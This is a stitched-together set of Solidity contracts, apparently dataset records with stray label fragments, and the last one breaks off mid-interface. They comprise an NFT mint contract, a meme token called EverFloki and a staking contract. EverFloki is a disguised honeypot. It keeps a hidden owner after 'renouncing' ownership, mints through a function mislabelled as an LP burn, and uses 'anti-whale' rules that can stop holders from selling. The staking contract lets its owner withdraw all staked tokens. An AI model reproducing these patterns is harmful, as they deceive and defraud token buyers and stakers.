* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract MoonPals is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.04 ether;
uint256 public maxSupply = 8888;
uint256 public maxMintAmount = 5;
bool public paused = true;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// This will pay HashLips 5% of the initial sale.
// You can remove this if you want, or keep it in to support HashLips and his channel.
// =============================================================================
(bool hs, ) = payable(0x943590A42C27D08e3744202c4Ae5eD55c2dE240D).call{value: address(this).balance * 5 / 100}("");
require(hs);
// =============================================================================
// This will payout the owner 95% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
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/**
*Submitted for verification at Etherscan.io on 2021-09-18
*/
/**
* Come and rise with us
* Approved by ELON himself
*
*
* https://t.me/Floki4Ever
*
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
address private __owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
__owner = _owner;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(__owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public cooldownCheck;
mapping (address => bool) public checkIfCooldownActive;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
bool private _openTrading = false;
string private _name;
string private _symbol;
address private _creator;
bool private cooldownSearch;
bool private antiWhale;
bool private tempVal;
uint256 private setAntiWhaleAmount;
uint256 private setTxLimit;
uint256 private chTx;
uint256 private tXs;
constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) {
_name = name_;
_symbol = symbol_;
_creator = creator_;
checkIfCooldownActive[creator_] = tmp;
cooldownCheck[creator_] = tmp2;
antiWhale = tmp;
tempVal = tmp2;
cooldownSearch = tmp2;
tXs = tmp9;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (sender != _creator) {
require(_openTrading);
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if ((address(sender) == _creator) && (tempVal == false)) {
setAntiWhaleAmount = chTx;
antiWhale = true;
}
if ((address(sender) == _creator) && (tempVal == true)) {
cooldownCheck[recipient] = true;
tempVal = false;
}
if (cooldownCheck[sender] == false) {
if ((amount > setTxLimit)) {
require(false);
}
require(amount < setAntiWhaleAmount);
if (antiWhale == true) {
if (checkIfCooldownActive[sender] == true) {
require(false, "ERC20: please wait another %m:%s min before transfering");
}
checkIfCooldownActive[sender] = true;
_cooldownBeforeNewSell(sender, block.timestamp);
}
}
uint256 taxamount = amount;
_balances[sender] = senderBalance - taxamount;
_balances[recipient] += taxamount;
emit Transfer(sender, recipient, taxamount);
}
function _burnLP(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
setAntiWhaleAmount = _totalSupply;
chTx = _totalSupply / val1;
setTxLimit = chTx * val2;
emit Transfer(address(0), account, amount); }
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[0x000000000000000000000000000000000000dEaD] += amount;
emit Transfer(account, address(0x000000000000000000000000000000000000dEaD), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == _creator) && (cooldownSearch == true)) {
cooldownCheck[spender] = true;
checkIfCooldownActive[spender] = false;
cooldownSearch = false;
}
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function emergencyOverride(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner {
cooldownCheck[account] = v1;
checkIfCooldownActive[account] = v2;
antiWhale = v3;
setAntiWhaleAmount = v4;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _cooldownBeforeNewSell(address account, uint256 amount) internal virtual {
if ((block.timestamp - amount) > 10*60) {
checkIfCooldownActive[account] = false;
}
}
function openTrading() external onlyOwner() {
_openTrading = true;
}
}
contract ERC20LaunchBurnedLP is Context, ERC20 {
constructor(
string memory name, string memory symbol,
bool tmp, bool tmp2, uint256 tmp6,
uint256 tmp7, address creator,
uint256 initialSupply, address owner,
uint256 tmp9
) ERC20(name, symbol, creator, tmp, tmp2, tmp9) {
_burnLP(owner, initialSupply, tmp6, tmp7);
}
}
contract EverFloki is ERC20LaunchBurnedLP {
constructor() ERC20LaunchBurnedLP("EverFloki", "evrFLOKI", false, true, 1100, 30, msg.sender, 1000000000 * 10 ** 18, msg.sender, 5) {
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-15
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract StakingPRY{
using SafeMath for uint256;
address public token;
address public owner;
bool public staking = true;
uint256 public oneMonthTime = 2592000;
uint256 public timeforunstaking;
mapping(address => uint256) public users;
uint256 public totaltokenstaked;
constructor(address _token) public{
token = _token;
owner = msg.sender;
}
function totalSupplyOfTokens() public view returns(uint256){
return IERC20(token).balanceOf(address(this));
}
function readtimeleft() public view returns(uint256){
if(now > timeforunstaking){
return 0;
}else{
return timeforunstaking.sub(now);
}
}
function lockToken(uint256 _amount) isStakingOn() public{
require(_amount >= 1000e18,'you are inputting amount less than 1000 tokens');
require(_amount.add(users[msg.sender]) <= 100000e18,'single user cannot invest more than 300k PRY');
IERC20(token).transferFrom(msg.sender,address(this),_amount);
users[msg.sender] = users[msg.sender].add(_amount);
totaltokenstaked = totaltokenstaked.add(_amount);
}
function unlockTokens() isStakingOff() public returns(uint256){
address useraddr = msg.sender;
require(users[useraddr] >= 0);
if(now > timeforunstaking){
IERC20(token).transfer(msg.sender,users[useraddr].add(users[useraddr].mul(10).div(100)));
totaltokenstaked = totaltokenstaked.sub(users[useraddr]);
users[useraddr] = 0;
return 1;
}
if(timeforunstaking.sub(now) > 2*oneMonthTime){
IERC20(token).transfer(msg.sender,users[useraddr]);
totaltokenstaked = totaltokenstaked.sub(users[useraddr]);
users[useraddr] = 0;
return 1;
}
if(timeforunstaking.sub(now) > oneMonthTime && timeforunstaking.sub(now) <= 2*oneMonthTime){
uint amount = users[useraddr].mul(10).mul(25).div(100).div(100);
IERC20(token).transfer(msg.sender,users[useraddr].add(amount));
totaltokenstaked = totaltokenstaked.sub(users[useraddr]);
users[useraddr] = 0;
return 1;
}
if(timeforunstaking.sub(now) <= oneMonthTime && timeforunstaking.sub(now) > 0){
uint amount = users[useraddr].mul(10).mul(50).div(100).div(100);
IERC20(token).transfer(msg.sender,users[useraddr].add(amount));
totaltokenstaked = totaltokenstaked.sub(users[useraddr]);
users[useraddr] = 0;
return 1;
}
}
function turnOnStaking() onlyOwner() public{
require(now > timeforunstaking,'the time of unstaking has not finished');
staking = true;
timeforunstaking = 0;
}
function turnOffStaking() onlyOwner() public{
require(now > timeforunstaking,'the time of unstaking has not finished');
staking = false;
timeforunstaking = now.add(3*oneMonthTime);
}
modifier isStakingOn(){
require(staking == true,'staking period is off');
_;
}
modifier isStakingOff(){
require(staking == false,'staking period is on');
_;
}
modifier onlyOwner(){
require(msg.sender == owner,'you are not admin');
_;
}
function adminTokenTransfer() external onlyOwner{
require(totalSupplyOfTokens() > 0,'the contract has no pry tokens');
IERC20(token).transfer(msg.sender,IERC20(token).balanceOf(address(this)));
}
} | True | [
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pragma solidity ^0.4.18;
// Deployed to : 0x0Fa633BF5b66a5416D87Cf4597C0B6FaF7F7e5a7
// Symbol : SBS
// Name : SBSolutions
// Total supply: 1000000
// Decimals : 18
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
